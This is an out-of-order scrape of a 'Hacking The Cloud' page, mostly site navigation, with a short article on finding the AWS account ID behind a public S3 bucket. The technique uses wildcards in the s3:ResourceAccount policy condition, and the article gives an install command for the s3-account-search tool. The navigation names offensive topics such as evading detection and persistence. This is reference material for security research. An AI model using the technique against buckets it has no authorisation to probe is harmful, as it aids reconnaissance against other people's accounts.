href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#installation class=md-nav__link> <span class=md-ellipsis> Installation </span> </a> </li> <li class=md-nav__item> <a href=#setup class=md-nav__link> <span class=md-ellipsis> Setup </span> </a> </li> <li class=md-nav__item> <a href=#usage class=md-nav__link> <span class=md-ellipsis> Usage </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/account_id_from_s3_bucket.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate AWS Account ID from a Public S3 Bucket</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/ >Finding the Account ID of any public S3 bucket</a> by <a href=https://twitter.com/benbridts>Ben Bridts</a></p> <p><a class=glightbox href=/images/researchers/ben_bridts.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/ben_bridts.jpg alt="Ben Bridts" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/WeAreCloudar/s3-account-search>s3-account-search</a>: A tool to find the account ID an S3 bucket belongs to.</p> </li> </ul> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>When you install a version &lt;0.2.0 using <a href=https://pip.pypa.io/en/stable/ >pip</a>, the executable is named <code>s3-account-search</code>.</p> </div> <p>By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.</p> <p>To test this, you can use <a href=https://buckets.grayhatwarfare.com/random/buckets>Grayhat Warfare's</a> list of public S3 buckets.</p> <p>You will need a role with <code>s3:getObject</code> and <code>s3:ListBucket</code> permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.</p> <h2 id=installation>Installation<a class=headerlink href=#installation title="Permanent link">&para;</a></h2> <p>The tool can be installed with the following command:</p> <div class=highlight><pre><span></span><code>python3 -m pip install s3-account-search
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#installation class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a 